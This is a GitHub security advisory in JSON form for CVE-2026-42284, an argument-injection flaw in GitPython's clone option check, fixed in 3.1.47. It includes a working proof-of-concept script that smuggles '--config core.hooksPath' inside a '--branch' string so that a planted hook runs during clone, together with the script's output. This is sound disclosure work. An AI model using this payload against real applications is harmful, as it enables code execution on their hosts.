CVE-2026-42284: GitPython Unsafe Option Check Validates Multi_options Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x2qx-6953-8485",
  "modified" : "2026-05-13T13:37:24Z",
  "published" : "2026-04-25T23:41:49Z",
  "aliases" : [ "CVE-2026-42284" ],
  "summary" : "GitPython: Unsafe option check validates multi_options before shlex.split transformation",
  "details" : "### Summary\n\n`_clone()` validates `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`. A string like `\"--branch main --config core.hooksPath=/x\"` passes validation (starts with `--branch`), but after split becomes `[\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes attacker hooks during clone.\n\n### Details\n\nThe vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes its own token and reaches git.\n\nAlso affects `Submodule.update()` via `clone_multi_options`.\n\n### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\", \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept UnsafeOptionError:\n    print(\"multi_options=['--config', '...']: Block as expected\")\nexcept Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\", \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\", \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami > {LOG.as_posix()}\\nhostname >> {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept UnsafeOptionError:\n    print(f\"multi_options=['{payload}']: BLOCKED\"); sys.exit(1)\nexcept Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n    subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST, capture_output=True)\n\nprint(f\"multi_options=['{payload}']: not blocked\")\nprint(f\"\\nHook executed: {LOG.exists()}\")\nif LOG.exists():\n    print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config', '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']: not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n### Impact\n\nAny application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "GitPython"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.47"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42284"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gitpython-developers/GitPython"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
  }, {
    "type" : "WEB",
    "url" : "https://www.tenable.com/cve/CVE-2026-32686"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-88" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-25T23:41:49Z",
    "nvd_published_at" : "2026-05-07T19:16:01Z"
  }
}